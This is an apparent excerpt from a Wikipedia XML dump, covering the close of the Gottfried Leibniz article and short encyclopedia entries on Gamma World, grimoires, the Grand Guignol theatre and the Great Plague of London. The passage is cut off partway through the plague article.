&lt;blockquote&gt;&quot;As for.. the great question of the power of sovereigns and the obedience their peoples owe them, I usually say that it would be good for princes to be persuaded that their people have the right to resist them, and for the people, on the other hand, to be persuaded to obey them passively. I am, however, quite of the opinion of [[Grotius]], that one ought to obey as a rule, the evil of revolution being greater beyond comparison than the evils causing it. Yet I recognize that a prince can go to such excess, and place the well-being of the state in such danger, that the obligation to endure ceases. This is most rare, however, and the theologian who authorizes violence under this pretext should take care against excess; excess being infinitely more dangerous than deficiency.&quot; (LL: 59, fn 16. Translation revised.)&lt;/blockquote&gt;

Leibniz foresaw the European Union. In 1677, he (LL: 58, fn 9) called for a European confederation, governed by a council or senate, whose members would represent entire nations and would be free to vote their consciences. Europe would adopt a uniform religion. He reiterated these proposals in 1715.

Most of the secondary literature on Leibniz the [[theology|theologian]] is in French. On Leibniz and the concept of [[God]], see Blumenfeld's chapter in Jolley (1995). Although Leibniz's writings very freely invoked God, and discussed [[Christian]] [[theology]] with great assurance, he was never seen at Sunday services during the last two decades of his life, and declined to take [[Eucharist|Communion]] on his deathbed. Consequently, his fellow Hanoverians suspected him of [[atheism]], and much of Europe also did so after his death. In fact, Leibniz sitll comes off as far more religious than [[Descartes]] the tepid [[Roman Catholicism|Catholic]], [[Spinoza]] the [[Jew]] expelled from his synagogue, [[Locke]] the suspected [[Socinian]], and [[Hobbes]] the near-atheist.

===Ecumenism===
Leibniz devoted considerable intellectual and diplomatic effort to what would now be called [[ecumenism|ecumenical]] endeavor, seeking to reconcile first the [[Roman Catholic]] and [[Lutheran]] churches, later the Lutheran and [[Reformed]] churches. In this respect, he followed the example of his early patrons, Baron von Boineburg and the Duke [[John Frederick, Duke of Brunswick-Lüneburg|John Frederick]], both cradle Lutherans who converted to Catholicism as adults, who did what they could to encourage the reunion of the two faiths, and who warmly welcomed such endeavors by others. (The House of [[Brunswick-Lüneburg|Brunswick]] remained Lutheran because the Duke's children did not follow their father.) These efforts included corresponding with the French bishop [[Bossuet]], and involved Leibniz in a fair bit of theological controversy. He evidently thought that the thoroughgoing application of reason would suffice to heal the breach caused by the [[Reformation]].

==Philologist==
Leibniz was an avid student of languages, eagerly latching on to any information about [[vocabulary]] and [[grammar]] that came his way. He refuted the belief, widely held by Christian scholars in his day, that [[Hebrew language|Hebrew]] was the primeval language of the [[human race]]. He also refuted the argument, advanced by Swedish scholars in his day, that some sort of proto-[[Swedish language|Swedish]] was the ancestor of the [[Germanic languages]]. He puzzled over the origins of the [[Slavic languages]], was aware of the existence of [[Sanskrit]], and was fascinated by classical Chinese. Scholarly appreciation of Leibniz the [[philologist]] is hampered by the fact that the first volume of the Academy edition series &quot;Historical and Linguistic Writings&quot; has yet to appear.

==Sinophile==
Leibniz was perhaps the first major European intellect to take a close interest in [[China|Chinese]] civilization, which he knew by corresponding with, and reading other work by, European Christian missionaries posted in China. He concluded that Europeans could learn much from the [[Confucianism|Confucian]] ethical tradition. He mulled over the possibility that the [[Chinese character]]s were an unwitting form of his [[Characteristica universalis | universal characteristic]]. He noted with fascination how the [[I Ching]] hexagrams correspond to the [[binary numbers]] from 0 to 111111, and mistakenly concluded that this mapping was evidence of major Chinese accomplishments in the sort of philosophical mathematics he admired.

On Leibniz, the I Ching, and binary numbers, see Aiton (1985: 245-48). Leibniz's writings on Chinese civilization are collected and translated in Cook and Rosemont (1994), and discussed in Perkins (2004).

==Universal genius==
The following episode from the life of Leibniz illustrates the breadth of his genius, and the difficulties awaiting those who try to come to terms with it. While making his grand tour of European [[archive]]s to research the Brunswick family history he never completed, Leibniz stopped in [[Vienna]], May 1688 – February 1689, where he did much [[law|legal]] and [[diplomacy|diplomatic]] work for the Brunswicks. He visited [[mine]]s, talked with mine [[engineering|engineers]], and tried to negotiate export contracts for [[lead]] from the ducal mines in the [[Harz mountains]]. His proposal that the streets of Wien be lit with lamps burning [[rapeseed oil]] was implemented. During a formal audience with the [[Hapsburg|Austrian Emperor]] and in subsequent memoranda, he advocated reorganizing the Austrian economy, reforming the coinage of much of central Europe, negotiating a [[Concordat]] between the [[Habsburg]]s and the [[Holy See|Vatican]], and creating an imperial research library, official archive, and public insurance fund. He wrote and published an important paper on [[mechanics]].

Leibniz also wrote a short paper, first published by [[Louis Couturat]] in 1903, later translated as LL 267 and WF 30, summarizing his views on [[metaphysics]]. The paper is undated; that he wrote it while in Vienna was determined only in 1999, when the ongoing [http://www.leibniz-edition.de  critical edition] finally published Leibniz's philosophical writings for the period 1677-90. Couturat's reading of this paper was the launching point for much 20th century thinking about Leibniz, especially among [[analytic philosophy|analytic philosophers]]. But after a meticulous study of all of Leibniz's philosophical writings up to 1688 -- a study the 1999 additions to the critical edition made possible -- Mercer (2001) begged to differ with Couturat's reading; the jury is still out.

Concerning Leibniz's humor and imagination, see W IV.6, LL § 40, and a curious passage titled &quot;Leibniz's Philosophical Dream,&quot; first published by Bodemann in 1895 and translated on p. 253 of Morris, Mary, ed. and trans., 1934. ''Philosophical Writings''. Dent &amp; Sons Ltd.

==Works==
AG = Ariew &amp; Garber (1989). LL = Loemker (1969). W = Wiener (1951). Woolhouse and Francks (1998) = WF.

The ongoing critical edition of all of Leibniz's writings is [http://www.leibniz-edition.de ''Sämtliche Schriften und Briefe''.]

Selected works; major ones in bold. The year shown is usually the year in which the work was completed, not of its eventual publication.
* 1666. ''De Arte Combinatoria'' (On the Art of Combination). Partially translated in LL §1 and Parkinson (1966).
* 1671. ''Hypothesis Physica Nova'' (New Physical Hypothesis). LL §8.I (part)
* 1684. ''Nova methodus pro maximis et minimis'' (New Method for maximums and minimums). Translation in Struik, D. J., 1969. ''A Source Book in Mathematics, 1200-1800''. Harvard Uni. Press: 271-81.
* 1686. '''[[Discourse on Metaphysics (book)|Discours de métaphysique]]'''. Martin and Brown (1988).  [http://www.earlymoderntexts.com/pdf/leibdm.pdf  Jonathan Bennett's translation.]  AG 35, LL §35, W III.3, WF 1.
* 1705. ''Explication de l'Arithmétique Binaire'' (Explanation of Binary Arithmetic). Gerhardt, ''Mathematical Writings'' VII.223.
* 1710. '''Théodicée'''. Farrer, A.M., and Huggard, E.M., trans., 1985 (1952). [http://www.gutenberg.org/etext/17147 ''Theodicy''.] Open Court. W III.11 (part).
* 1714. '''Monadologie'''. [[Nicholas Rescher]], trans., 1991. ''The Monadology: An Edition for Students''. Uni. of Pittsburg Press. [http://www.earlymoderntexts.com/pdf/leibmon.pdf Jonathan Bennett's translation.] [http://www.rbjones.com/rbjpub/philos/classics/leibniz/monad.htm Latta's translation.] AG 213, LL §67, W III.13, WF 19.
* 1765. '''[[Nouveaux essais sur l'entendement humain]]'''. Completed 1704. Remnant, Peter, and Bennett, Jonathan, trans., 1996. ''New Essays on Human Understanding''. Cambridge Uni. Press. W III.6 (part). [http://www.earlymoderntexts.com/f_leibniz.html Jonathan Bennett's translation.]

Collections of shorter works in translation:
* Ariew, R., and Garber, D., 1989. ''Leibniz: Philosophical Essays''. Hackett.
* Bennett, Jonathan. [http://www.earlymoderntexts.com/f_leibniz.html Various texts.]
* Cook, Daniel, and Rosemont, Henry Jr., 1994. ''Leibniz: Writings on China''. Open Court.
* Dascal, Marcelo, 1987. ''Leibniz: Language, Signs and Thought''. John Benjamins.
* Loemker, Leroy E., 1969 (1956). ''Leibniz: Philosophical Papers and Letters''. Reidel.
* Martin, R.N.D., and Brown, Stuart, 1988. ''Discourse on Metaphysics and Related Writings''. St. Martin's Press.
* Parkinson, G.H.R., 1966. ''Leibniz: Logical Papers.'' Oxford Uni. Press.
* ------, and Morris, Mary, 1973. '''Leibniz: Philosophical Writings''. London: J M Dent &amp; Sons. 
* Riley, Patrick, 1988 (1972). ''Leibniz: Political Writings''. Cambridge Uni. Press.
* Rutherford, Donald. [http://philosophy2.ucsd.edu/~rutherford/Leibniz/translat.htm Various texts.]
* Strickland, Lloyd, 2006. ''Shorter Leibniz Texts''. Continuum Books. [http://www.leibniz-translations.com/ Online.] 
* Wiener, Philip, 1951. ''Leibniz: Selections''. Scribner. Regrettably out of print and lacks index.
* Woolhouse, R.S., and Francks, R., 1998. ''Leibniz: Philosophical Texts''. Oxford Uni. Press.

Donald Rutherford's [http://philosophy2.ucsd.edu/~rutherford/Leibniz/edition.htm online bibliography.]

==Secondary literature==
Introductory:
*Jolley, Nicholas, 2005. ''Leibniz''. Routledge.
*MacDonald Ross, George, 1984. ''[http://www.etext.leeds.ac.uk/leibniz/leibniz.htm Leibniz]''. Oxford Uni. Press. 
*[[W. W. Rouse Ball]], 1908. [http://www.maths.tcd.ie/pub/HistMath/People/Leibniz/RouseBall/RB_Leibnitz.html ''A Short Account of the History of Mathematics''], 4th ed. (see [[Talk:Gottfried_Leibniz|Discussion]])

Intermediate:
*Aiton, Eric J., 1985. ''Leibniz: A Biography''. Hilger (UK). 
*Hall, A. R., 1980. ''Philosophers at War: The Quarrel between Newton and Leibniz''. Cambridge Uni. Press.
*Hostler, J., 1975. ''Leibniz's Moral Philosophy''. UK: Duckworth.
*Jolley, Nicholas, ed., 1995. ''The Cambridge Companion to Leibniz''. Cambridge Uni. Press.
*LeClerc, Ivor, ed., 1973. ''The Philosophy of Leibniz and the Modern World''. Vanderbilt Uni. Press.
*Loemker, Leroy, 1969a, &quot;Introduction&quot; to his ''Leibniz: Philosophical Papers and Letters''. Reidel: 1-62.
*[[Arthur O. Lovejoy]], 1957 (1936). &quot;Plenitude and Sufficient Reason in Leibniz and Spinoza&quot; in his ''The Great Chain of Being''. Harvard Uni. Press: 144-82. Reprinted in Frankfurt, H. G., ed., 1972. ''Leibniz: A Collection of Critical Essays''. Anchor Books.
*MacDonald Ross, George, 1999, &quot;Leibniz and Sophie-Charlotte&quot; in Herz, S., Vogtherr, C.M., Windt, F., eds., ''Sophie Charlotte und ihr Schloß''. München: Prestel: 95–105. [http://www.philosophy.leeds.ac.uk/GMR/homepage/sophiec.html English translation.]
*Perkins, Franklin, 2004. ''Leibniz and China: A Commerce of Light''. Cambridge Uni. Press.
*Riley, Patrick, 1996. ''Leibniz's Universal Jurisprudence: Justice as the Charity of the Wise''. Harvard Uni. Press.

Advanced
*Adams, Robert M., 1994. ''Leibniz: Determinist, Theist, Idealist''. Oxford Uni. Press.
*[[Louis Couturat]], 1901. ''La Logique de Leibniz''. Paris: Felix Alcan. [http://philosophy2.ucsd.edu/~rutherford/Leibniz/intro.htm Donald Rutherford's English translation in progress.]
*Ishiguro, Hide, 1990 (1972). ''Leibniz's Philosophy of Logic and Language''. Cambridge Uni. Press.
*Lenzen, Wolfgang, 2004. [http://www.philosophie.uni-osnabrueck.de/Woods.htm &quot;Leibniz's Logic,&quot;] in Gabbay, D., and Woods, J., eds., ''Handbook of the History of Logic, Vol. 3''. North Holland: 1-84. 
*Mates, Benson, 1986. ''The Philosophy of Leibniz : Metaphysics and Language''. Oxford Uni. Press.
*Mercer, Christia, 2001. ''Leibniz's metaphysics : Its Origins and Development''. Cambridge Uni. Press.
*Rutherford, Donald, 1998. ''Leibniz and the Rational Order of Nature''. Cambridge Uni. Press.
*Wilson, Catherine, 1989. ''Leibniz's Metaphysics''. Princeton Uni. Press.
*Woolhouse, R. S., ed., 1993. ''G. W. Leibniz: Critical Assessments'', 4 vols. Routledge. A remarkable and regrettably expensive one-stop collection of many valuable articles.

[http://www.hfac.uh.edu/gbrown/philosophers/leibniz/ Online bibliography,] by Gregory Brown.

==Other works cited==
*[[Martin Davis]], 2000. ''The Universal Computer: The Road from Leibniz to [[Turing]]''. W W Norton.
*Du Bois-Reymond, Paul, 18nn, &quot;Leibnizian Thoughts in Modern Science,&quot; ???.&lt;!--details, please--&gt;
*[[Ivor Grattan-Guinness]], 1997. ''The Norton History of the Mathematical Sciences''. W W Norton.
*Hirano, Hideaki, 1997, &quot;Cultural Pluralism And Natural Law.&quot; Unpublished.
*[[Benoit Mandelbrot]], 1977. ''The Fractal Geometry of Nature''. Freeman.
*[[Simon Conway Morris]], 2003. ''Life's Solution: Inevitable Humans in a Lonely Universe''. Cambridge Uni. Press.
*Ward, P. D., and Brownlee, D., 2000. ''Rare Earth: Why Complex Life is Uncommon in the Universe''. Springer Verlag.
*Zalta, E. N., 2000, &quot;[http://mally.stanford.edu/leibniz.pdf A (Leibnizian) Theory of Concepts],&quot; ''Philosophiegeschichte und logische Analyse / Logical Analysis and History of Philosophy 3'': 137-183.

==Quotes== &lt;!--Please move the following to Wikiquote, if not already there--&gt;
[http://en.wikiquote.org/wiki/Gottfried_Leibniz More quotes.] Wiener (1951: 567-70) lists 44 quotable &quot;proverbs&quot; beginning with &quot;Justice is the charity of the wise.&quot;
*&quot;In the realm of spirit, seek clarity; in the material world, seek utility.&quot; Mates's (1986: 15) translation of Leibniz's motto.
*&quot;With every lost hour, a part of life perishes.&quot; &quot;Deeds make people.&quot; Loemker's (1969: 58) translation of other Leibniz mottoes.
*&quot;The ''monad''... is nothing but a simple substance which enters into compounds. ''Simple'' means without parts... Monads have no windows through which anything could enter or leave.&quot; ''Monadology''  (LL §67.1,7)
*&quot;...no matter how God might have created the world, it would always have been regular and in a certain general order. But God has chosen that world which is the most perfect, that is to say, which is at the same time the simplest in its hypotheses and the richest in phenomena...&quot; ''Discourse on Metaphysics'' (LL §35.6)
*&quot;I am convinced that the unwritten knowledge scattered among men of different callings surpasses in quantity and in importance anything we find in books, and that the greater part of our wealth has yet to be recorded.... The chief defect of many scholars is that they occupy themselves only with vague and well-worn arguments when there are so many opportunities for exercising their minds on solid and real objectives, to the advantage of the public. Hunters, fishermen, merchants, sea voyagers, and even games of skill as well as of chance, furnish material with which to augment substantially the useful sciences.Even in the games of children there are things to interest the greatest mathematician.&quot; (''Discourse Touching the Method of Certitude and the Art of Discovery in Order to End Disputes and to Make Progress Quickly'', W 47. Translation revised.)
*&quot;I maintain that men could be incomparably happier than they are, and that they could, in a short time, make great progress in increasing their happiness, if they were willing to set about it as they should. We have in hand excellent means to do in 10 years more than could be done in several centuries without them, if we apply ourselves to making the most of them, and do nothing else except what must be done.&quot; (Translated in Riley 1972: 104, and quoted in Mates 1986: 120)

==See also==
*[[monadology]]
*[[monad]]
*[[characteristica universalis]]
*[[universal language]]
*[[Calculus ratiocinator]] 
*[[alphabet of human thought]]
*[[Newton v. Leibniz calculus controversy]]
*[[Leibniz-Gemeinschaft]]
*[[Leibniz formula]]
*[[digital philosophy]]
* [[Anthropic Principle]]

==External links==
{{Wikiquote}}
*[http://www.earlymoderntexts.com/f_leibniz.html Online texts] prepared by Jonathan Bennett.
*[http://www.hfac.uh.edu/gbrown/philosophers/leibniz/ Leibnitiana] -- Gregory Brown.
* [http://www.videolexikon.com/skriptfachgebiet_Geschichte.htm ''Monadologie'', in German.]
* [http://www.leibniz-translations.com/ Lloyd Strickland's web page.] Scroll down for many Leibniz links.
*[http://philosophy2.ucsd.edu/~rutherford/Leibniz/leibsoc.htm Table of contents] for the ''Leibniz Review'', 1998-.
* [http://www.egs.edu/resources/gottfriedleibniz.html European Graduate School - Gottfried Leibniz.]
* {{MacTutor Biography|id=Leibniz}} 
* [http://www.kirjasto.sci.fi/leibnitz.htm Leibniz biography and bibliography.]
* [http://www.utm.edu/research/iep/l/leib-met.htm The Internet Encyclopedia of Philosophy: Leibniz] -- Douglas Burnham.
* Stanford Encyclopedia of Philosophy. Leibniz on:
** [http://plato.stanford.edu/entries/leibniz-ethics/ Ethics] -- Andrew Youpa.
** [http://plato.stanford.edu/entries/leibniz-causation/ Causation] -- Mark Bobro.
** [http://plato.stanford.edu/entries/leibniz-evil/ Problem of evil] -- Michael Murrary.
** [http://plato.stanford.edu/entries/leibniz-mind/ Philosophy of mind] -- Kulstad and Carlin.
*[http://encyclopedia.jrank.org/LAP_LEO/LEIBNITZ_LEIBNIZ_GOTTFRIED_WILH.html Encyclopedia Britannica, 11th ed.]
* {{gutenberg author| id=Leibniz+Gottfried+Wilhelm+Freiherr+von | name=Gottfried Leibniz}}

&lt;!-- interwiki --&gt;


[[Category:1646 births|Leibniz, Gottfried]]
[[Category:1716 deaths|Leibniz, Gottfried]]
[[Category:17th century mathematicians|Leibniz, Gottfried]]
[[Category:18th century mathematicians|Leibniz, Gottfried]]
[[Category:18th century philosophers|Leibniz]]
[[Category:Christian philosophers|Leibniz, Gottfried]]
[[Category:Early modern philosophers|Leibniz, Gottfried]]
[[Category:Enlightenment philosophers|Leibniz]]
[[Category:German mathematicians|Leibniz, Gottfried]]
[[Category:German philosophers|Leibniz, Gottfried]]
[[Category:Idealists|Leibniz, Gottfried]]
[[Category:Rationalists|Leibniz, Gottfried]]
[[Category:Polymaths|Leibniz, Gottfried]]
[[Category:German physicists|Leibniz, Gottfried]]
[[Category:Christians in science|Leibniz, Gottfried]]

[[ar:غوتفريد لايبنتز]]
[[bg:Готфрид Лайбниц]]
[[bn:গটফ্রিট লিবনিত্স]]
[[bs:Gottfried Wilhelm Leibniz]]
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[[eo:Gottfried Wilhelm LEIBNIZ]]
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[[he:גוטפריד וילהלם לייבניץ]]
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[[ja:ゴットフリート・ライプニッツ]]
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[[la:Godefridus Guilielmus Leibnitius]]
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[[ru:Лейбниц, Готфрид Вильгельм]]
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[[sr:Готфрид Вилхелм Лајбниц]]
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[[uk:Ляйбніц Ґотфрід Вільгельм]]
[[zh:戈特弗里德·威廉·莱布尼茨]]</text>
    </revision>
  </page>
  <page>
    <title>Gray matter</title>
    <id>12282</id>
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      <comment>redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[Grey matter]]</text>
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  </page>
  <page>
    <title>Gamma World</title>
    <id>12283</id>
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      <id>40875422</id>
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      <contributor>
        <username>Genesis</username>
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      <comment>[[WP:AWB|AWB assisted]] avoid redirect</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Gamma World
|image= [[image:Gamma_World_Book.jpg||200 px]]
|caption= '''Gamma World''' Basic Rules Booklet cover
|designer= [[James M. Ward]]
|publisher= [[TSR, Inc.|TSR]]&lt;br&gt;[[Wizards of the Coast]] ''(4&lt;small&gt;th&lt;/small&gt; edition)''&lt;br&gt;[[[[Sword &amp; Sorcery]]]] ''(d20 edition)''
|date= 1978 ''(1&lt;small&gt;st&lt;/small&gt; edition)''&lt;br&gt;1983 ''(2&lt;small&gt;nd&lt;/small&gt; edition)''&lt;br&gt;1986 ''(3&lt;small&gt;rd&lt;/small&gt; edition)''&lt;br&gt;1992 ''(4&lt;small&gt;th&lt;/small&gt; edition)''&lt;br&gt;2000 ''(5&lt;small&gt;th&lt;/small&gt; edition)''&lt;br&gt;2003 ''(d20 edition)''
|genre= [[Science fiction]]
|system= Custom, [[d20 System]], [[Alternity]] ''(4&lt;small&gt;th&lt;/small&gt; edition)''
|footnotes= 
}}
'''Gamma World''' is a [[science fiction]] [[role-playing game]] produced by [[TSR, Inc.|TSR]], the makers of ''[[Dungeons &amp; Dragons]]'' and created by [[James M. Ward]].

==Description==
This post-[[Nuclear warfare|apocalyptic]] game takes place in a far future world, where [[technology]], [[Psionics (role-playing game)|psionics]], [[mutation]]s, and [[ionizing radiation|radiation]] interplay and mix in a ruined world that has reverted to [[anarchy (word)|anarchy]].

Likely sources of inspiration for this game are probably the uncountable numbers of sci-fi/post-apocalypse films of the [[1950s]], [[1960s]] and [[1970s]]; although not initially ''[[Mad Max]]'' ([[1979]]), the [[Hanna-Barbera]] cartoon ''[[Thundarr the Barbarian]]'' ([[1980]]), or ''[[Alien (movie)|Alien]]'' (1979), as they were released after the first edition was published in [[1978]] and only influenced later versions.  Gamma World is descended from the earlier TSR game [[Metamorphosis Alpha]] ([[1976]]), which involved the mutated crew of a generation [[starship]] named ''Warden''. A component of this starship appears in the old ''Dungeons &amp; Dragons'' [[List of Dungeons &amp; Dragons modules|module]] &quot;[[Expedition to the Barrier Peaks]]&quot;. Metamorphosis Alpha is probably inspired by the [[Robert A. Heinlein]] novel ''[[Orphans of the Sky]]'' ([[1941]]).

The original mechanics are similar in many respects to the original ''D&amp;D'' game system, although the second ([[1983]]) and third ([[1986]]) editions changed things substantially. In particular, the third edition resembled TSR's ''[[Marvel Super-Heroes (role-playing game)|Marvel Super-Heroes]]''. The Fourth Edition ([[1992]]) was closer to second-edition ''Advanced Dungeons and Dragons'' (AD&amp;D), and in fact is very similar in gameplay to the current d20 system rules. The Fifth Edition was based on TSR's [[Alternity]] system&amp;mdash;a system which was canceled a month before the Gamma World book was released!

In September [[2002]], a version of Gamma World called [[Omega World]] written by [[Jonathan Tweet]] as a [[d20 mini-game]] was published in the pages of [[Dungeon magazine]] issue 94 and [[Polyhedron magazine]] issue 153, it is by some adherents one of the better incarnations of the genre.

In late [[2003]] [[Sword &amp; Sorcery]] (a [[White Wolf, Inc.|White Wolf Game Studio]] label) released a new edition of Gamma World. This edition uses the [[d20 System]] abstracted from the Third Edition of Dungeons and Dragons, and requires books either from that line or the related [[d20 Modern]] line to be used. Its backward compatibility with earlier editions varies, with first (being a close relative of the earliest ''D&amp;D'') and fourth (being a relative of second-edition D&amp;D and a source of inspiration for third-edition) editions being the easiest to translate material between.

==Books==
The current sixth edition Gamma World line consists of six books, and no more books are scheduled to be produced:
*''[[Gamma World Player's Handbook]]''
*''[[Gamma World Game Master's Guide]]''
*''[[Gamma World Mutants and Machines]]''
*''[[Gamma World Beyond the Horizon]]''
*''[[Gamma World Cryptic Alliances and Unknown Enemies]]''
*''[[Gamma World Out of the Vaults]]''

==See also==
*[[Traveller (role-playing game)|Traveller]]

==External links==
*[http://www.white-wolf.com/gammaworld/ White Wolf's &quot;New&quot; Official Gamma World Site]
*[http://www.pamedia.com/rpgames/ An excellent index of other Post Apocalyptic Role Playing Games]

[[Category:Post-apocalyptic fiction]]
[[Category:Science fiction role-playing games]]
[[Category:TSR]]</text>
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  </page>
  <page>
    <title>Grimoire</title>
    <id>12284</id>
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      <contributor>
        <ip>80.229.153.60</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses4|medieval books of magic|the operating system term|Source Mage GNU/Linux}}

[[Image:Talis02.png|frame|This design for an [[amulet]] comes from the ''Black Pullet'' grimoire. Embroider it upon [[black]] [[satin]], and say &quot;Nades, Suradis, Maniner&quot;, and a [[djinn]] is supposed to appear; tell the djinn &quot;Sader, Prostas, Solaster&quot;, and the djinn will bring you your true love. Say &quot;Mammes, Laher&quot; when you tire of her.]]
 
A '''grimoire''' ([[International Phonetic Alphabet for English|IPA]] {{IPA|[gr&amp;#618;&amp;#712;mw&amp;#593;r]}}) is a book of [[magic (paranormal)|magick]]al knowledge written between the late-[[Middle Ages|medieval]] period and the [[18th century]]. Such books contain [[astrology|astrological]] correspondences, lists of [[angel]]s and [[demon]]s, directions on casting charms and [[spell (paranormal)|spell]]s, on mixing medicines, summoning unearthly entities, and making [[talisman]]s. 

The word ''grimoire'' is from the [[Old French language|Old French]] ''gramaire'', and is from the same root as the word ''[[grammar]]''. This is partly because, in the mid-late Middle Ages, [[Latin]] &quot;grammars&quot; (books on Latin [[syntax]] and [[diction]]) were foundational to school and university education, as controlled by the [[Roman Catholicism|Church]] &amp;mdash; while to the illiterate majority, non-ecclesiastical books were suspect as magick. But &quot;grammar&quot; also denoted, to literate and illiterate alike, a book of basic instruction.

Notable historical grimoires include:
*[[The Book of the Sacred Magic of Abra-Melin the Mage|The ''Book of the Sacred Magic of Abra-Melin the Mage'']]
*''Liber Juratis'', or, [[The Sworn Book of Honorius|the ''Sworn Book of Honorius'']]
*[[The Black Pullet|The ''Black Pullet'']]
*[[The Greater Key of Solomon|The ''Greater Key of Solomon'']]
*The ''Lemegeton'', or, [[the Lesser Key of Solomon|the ''Lesser Key of Solomon'']]
*''Le Grand Grimoire'', ''[[The Grand Grimoire]]''
 
In the late [[19th century]], several of these texts (including the Abra-Melin text and the Keys of Solomon) were reclaimed by pseudo-[[Masonic]] magical organizations such as the [[Hermetic Order of the Golden Dawn]] and the [[Ordo Templi Orientis]]. [[Aleister Crowley]], a prime mover of both groups, then served as a vector for a number of modern movements, including [[Wicca]], [[Satanism]], and [[Chaos Magic]].

A [[cottage industry]] has existed since the 19th century in selling false or carelessly-translated grimoires (many original texts are in French or Latin, and are quite rare), although faithful editions are available for most of the above titles. 

A modern grimoire is the ''[[Necronomicon]]'', named after a fictional book of magic in the stories of author [[H.P. Lovecraft]], and inspired by [[Sumerian mythology]] and the ''[[Ars Goetia]]'', a section in the ''Lesser Key of Solomon'' which concerns the summoning of demons.      

The [[Voynich manuscript]] may also be a grimoire, although its text has never been deciphered, and it may be a centuries-old hoax.

==In Fiction==

The term commonly serves as an alternative name for a [[spell book]] or tome of magickal knowledge, particularly in [[fantasy fiction]].

==External links==
*[http://www.tridentbooks.us/ Trident Books: Grimoire Publishers]
*[http://kheph777.tripod.com/indexsecrets.html Secrets of the Magickal Grimoires]
*[http://www.sacred-texts.com/grim/ A collection of grimoires]
*[http://www.hermetics.org/ebooks.html Grimoires Ebooks]
*[http://sacred-magick.com/pdf/Grimoires.html The Grimoires Collection from Sacred-Magick.Com | The Esoteric Library]
* [http://skepdic.com/magicalthinking.html The Skeptic's Dictionary entry for Magical Thinking]
* [http://www.ecauldron.com/spells/index.php The Cauldron's Grimoire] Online Collection of Spells
* [http://spells.hastaelmasalla.net spells.hastaelmasalla.net] , a Neopagan white magic grimoire
* [http://www.thelemapedia.org Thelemapedia] The Encyclopedia of Thelema &amp; Magick
* [http://athenaeum.asiya.org/ Magickal Athenaeum] The largest collection of magickal PDF books on the internet, free.

[[Category:Magic]]
[[Category:Books by type]]
[[Category:Grimoires|*]]

[[cs:Grimoár]]
[[de:Grimoire]]
[[es:Grimorio]]
[[ja:グリモワール]]</text>
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  </page>
  <page>
    <title>Grand Guignol</title>
    <id>12285</id>
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      <contributor>
        <username>Rich Farmbrough</username>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Otheruses1|the Paris theatre}}
The '''Grand Guignol''' (''Grahn Geen-YOL'') was a theatre (''Le Théâtre du Grand-Guignol'') in the [[Pigalle]] area of [[Paris]] (at 20 ''bis, rue'' Chaptal), which, from its opening in 1897 to its closing in 1962, specialized in the most naturalistic grisly horror shows. The theater owed its name to Grand-Guignol, a traditional [[Lyon, France|Lyon]] puppet character, joining political commentary with the style of [[Punch and Judy]].

''Le Théâtre du Grand-Guignol'' was small and intimate, seating no more than 300 people.  This intimacy added an extra piquancy to the goings-on on stage, because the theatre's stock-in-trade was special effects made from the by-products of the butcher's shop.  The gouged-out eye trick was a perennial favourite.  

The principal playwright of the Grand Guignol was [[André de Lorde]] who wrote at least one hundred plays for the venue between the years [[1901]] and [[1926]].   His plays focused on the horrific potential of household objects, the suffering of innocents, infanticide, insanity, and vengeance.  The plays were typically short, and several were staged in the course of the evening.  Occasional sex farces were thrown into the play-lists, partly for their own sake, and partly to keep the audience guessing whether these, too, would turn out to have gory climaxes.
Original plays were also written by Pierre Bauche and Maurice Level.

Grand Guignol flourished briefly in London in the early 1920s under the direction of [[Jose Levy]].

The Grand Guignol theatre closed its doors in [[1962]], unable to compete with motion pictures.  

The Grand Guignol theatre was recreated as [[Théâtre des Vampires]] (on a sound stage) in [[1994]] for the film of [[Anne Rice]]'s ''[[Interview with the Vampire]]''.

A typical modern production of this genre can be found in [[Stephen Sondheim]]'s &quot;[[Sweeney Todd]]: The Demon Barber of Fleet Street,&quot; which originally appeared in [[1979]] starring [[Angela Lansbury]] and [[Len Cariou]].  In [[2005]], a revival production of this gruesome story about a barber who gives extra clean shaves was staged on Broadway with [[Patti Lupone]] and Michael Cereveris.

==External links==
*[http://www.grandguignol.com Grand Guignol]

[[de:Grand-Guignol]]
[[fr:Grand Guignol]]

[[Category:Theatres in France]]
[[Category:Horror]]</text>
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  <page>
    <title>Great Plague of London</title>
    <id>12286</id>
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      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">The '''Great Plague''' (AD [[1665]]-[[1666]]) was a massive outbreak of [[disease]] in [[England]] that killed 75,000 to 100,000 people, up to a fifth of [[London]]'s population.  The disease is generally believed to have been [[bubonic plague]], an infection by the [[bacterium]] ''[[Yersinia pestis]]'', transmitted via a rat [[vector (biology)|vector]]. Other symptom patterns of the bubonic plague, such as [[septicemic plague]] and [[pneumonic plague]] were also present.  

The 1665-66 epidemic was on a far smaller scale than the earlier &quot;[[Black Death]]&quot;, a virulent outbreak of disease in Europe between [[1347]] and [[1353]], but was remembered afterwards as the &quot;great&quot; plague because it was one of the last widespread outbreaks in Europe.

===Outbreak===

This episode of plague in Britain is thought to have arrived with Dutch trading ships carrying bales of [[cotton]] from [[Amsterdam]].  The disease had occurred intermittently in the [[Netherlands]] since 1654.  The [[Dock (maritime)|dock]] areas outside of London, where poor workers crowded into ill-kempt districts, such as the parish of St. Giles-in-the Fields, were first struck by the plague.  During the winter of 1664-65, there were reports of several deaths.  However, the winter was very cold, seemingly controlling the contagion.  But spring and summer months were unusually warm and sunny, and the plague spread rapidly.  Records were not kept on the deaths of the very poor, so the first recorded case was Margaret Porteous, on [[April 12]], [[1665]]. 

By July 1665, plague was in the city of London itself.  King [[Charles II of England]], his family and his court left the city for [[Oxford]].  However, the [[Lord Mayor]] of the city and the [[aldermen]] stayed at their posts.  Businesses were closed when most wealthy merchants and professionals fled.  Only a small number of [[clergymen]], [[physician]]s and [[apothecaries]] chose to remain, as the plague raged throughout the summer.  

Several [[public health]] efforts were attempted.  Physicians were hired by city officials, and burial details were carefully organized.  Authorities ordered fires to be kept burning night and day, in hopes that the air would be cleansed.  Substances giving off strong odors, such as [[black pepper|pepper]], [[hops]] or [[frankincense]], were also burned to ward off the infection.  London residents, including young children, were strongly urged to smoke [[tobacco]].  

